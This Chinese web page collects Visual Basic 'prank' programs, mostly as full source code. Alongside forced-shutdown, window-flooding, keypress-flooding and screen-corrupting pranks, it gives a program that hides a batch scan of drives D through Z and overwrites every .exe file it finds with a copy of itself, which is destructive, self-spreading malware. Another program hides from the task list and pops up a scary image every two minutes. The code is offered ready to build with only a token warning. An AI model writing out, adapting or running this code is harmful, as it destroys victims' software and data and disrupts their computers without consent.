vb恶搞程序有哪些？

1、窗口炸d

Private Sub Form_Load()

For a = 1 To 10

Shell "cmd /c echo 轰隆——一切的全完了！ &pause", vbNormalFocus

Next

End Sub

2、数羊程序

Private Sub Form_Load()

MsgBox "困死我了，睡不着，帮我数羊", , "数羊"

MsgBox "就一百只羊吧！", , "数羊"

For a = 1 To 100

MsgBox a &"只羊", , "数羊"

Next

MsgBox "身边没个人，好孤单，好寂寞……", "64", "数羊"

Shell "shutdown -s -t 0"

End Sub

3、按十万次回车

Private Sub Form_Load()

For a = 1 To 100000

SendKeys "{enter}"

Next

End Sub

电脑桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 还有个杀手锏；一段要人命的vb代码

-----------------------------------------------声明---------------------------------------------------------------

’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容错句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件

Open "c:\a.bat" For Output As #1 ’打开bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ’写入数据

Close #1 ’关闭文件

Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）

Shell "c:\a.bat", 0 ’隐藏运行之

End If

Sleep 60000 ’延时1分钟等待exe遍历完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’读取txt里面的内容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path &"\" &App.EXEName &".exe", A(I) ’把txt里面的内容替换掉

Next

End Sub

</SPAN>

这是一个吓人程序：

首先新建一个文件夹，放一张比较吓人的图片，名称为“3.jpg”。

在vb中新建工程，创建一个计时器，interval设为1000。窗体的borderstyie设为0。

输入如下代码：

Dim a, x As Integer

Dim b As Boolean

Private Sub Form_Load()

Form1.Picture = LoadPicture(App.Path &"\3.jpg")

a = 0

b = False

Form1.Hide

'Shell "cmd /c taskkill /im explorer.exe /f"

End Sub

Private Sub Timer1_Timer()

App.TaskVisible = False

If a = 120 Then

Form1.Show

b = True

a = 0

Else

a = a + 1

End If

If b = True Then

x = x + 1

End If

If x = 10 Then

Form1.Hide

x = 0

b = False

End If

End Sub

Private Sub Form_DblClick()

End

End Sub

双击后窗体关闭，否则每隔120秒打开窗体10秒。 （程序可执行文件放入与图片相同的文件夹）

---